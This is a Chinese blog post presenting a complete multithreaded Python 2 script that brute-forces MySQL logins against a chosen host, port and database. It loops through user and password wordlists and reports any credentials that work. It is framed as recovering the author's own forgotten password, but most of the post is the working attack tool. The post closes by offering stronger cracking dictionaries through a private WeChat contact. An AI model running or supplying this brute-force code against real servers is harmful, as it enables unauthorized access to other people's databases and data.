进入主题
好了,进入今天的主题吧,今天下班回到家想登录下MySQL数据库,不巧的是,忘记了MySQL数据库的用户和密码了,怎么办?使用安全模式登录?我想这么常规的方式应该大家都会吧!今天,就来点不一样的吧,那就是使用Python写个爆破MySQL的工具,看能不能爆破出MySQL的用户和密码,
好了,咱们说干就干,开始吧。
爆破脚本
这次编写的爆破MySQL的Python脚本使用了Python中的多线程编程,并且导入了MySQLdb模块。运行时,脚本分别接收如下五个参数:
- 待破解的ip/domain:例如127.0.0.1
- 端口:例如3306
- 数据库:例如test
- 用户名列表文件:例如user.txt文件
- 密码列表文件:例如password.txt文件
相对来说,还是比较简单的,下面就给出完整的脚本代码吧。
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2021/06/30 # Created by 冰河 # Description MySQL暴力破解工具多线程版 import os, sys, re, socket, time from functools import partial from multiprocessing.dummy import Pool as ThreadPool try: import MySQLdb except ImportError: print '\n[!] MySQLdb模块导入错误,请到下面网址下载:' print '[!] http://www.codegood.com/archives/129' exit() def usage(): print '+' + '-' * 50 + '+' print '\t Python MySQL暴力破解工具多线程版' print '\t 微信公众号:冰河技术' print '\t\t Code BY: 冰河' print '\t\t Time:2021-06-30' print '+' + '-' * 50 + '+' if len(sys.argv) != 6: print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表" print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt" sys.exit() def mysql_brute(user, password): "mysql数据库破解函数" db = None try: # print "user:", user, "password:", password db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2])) # print '[+] 破解成功:', user, password result.append('用户名:' + user + "\t密码:" + password) except KeyboardInterrupt: print '已成功退出程序!' exit() except MySQLdb.Error, msg: print '程序出错,错误信息为:', msg pass finally: if db: db.close() if __name__ == '__main__': usage() start_time = time.time() if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]): host = sys.argv[1] else: host = socket.gethostbyname(sys.argv[1]) userlist = [i.rstrip() for i in open(sys.argv[4])] passlist = [j.rstrip() for j in open(sys.argv[5])] print '\n[+] 目 标:%s \n' % sys.argv[1] print '[+] 用户名:%d 条\n' % len(userlist) print '[+] 密 码:%d 条\n' % len(passlist) print '[!] 密码破解中,请稍候……\n' result = [] for user in userlist: partial_user = partial(mysql_brute, user) pool = ThreadPool(10) pool.map(partial_user, passlist) pool.close() pool.join() if len(result) != 0: print '[+] MySQL密码破解成功!\n' for x in {}.fromkeys(result).keys(): print x + '\n' else: print '[-] MySQL密码破解失败!\n' print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
脚本编写完成后,运行,等待了一段时间,将我的MySQL的用户和密码完美的破解出来了。
这里需要注意的是:能不能破解出MySQL的用户和密码,那要看你的爆破字典是否足够强大了,说直白点,就是你的user.txt文件中的用户和password.txt文件中的密码是否足够齐全。
如果你想获取一个相对来说比较强大的爆破密码的字典文件,可以加我微信:sun_shine_lyz私聊获取。并且我自己也写了一个根据输入的位数生成密码字典的程序,大家也可以私聊我获取。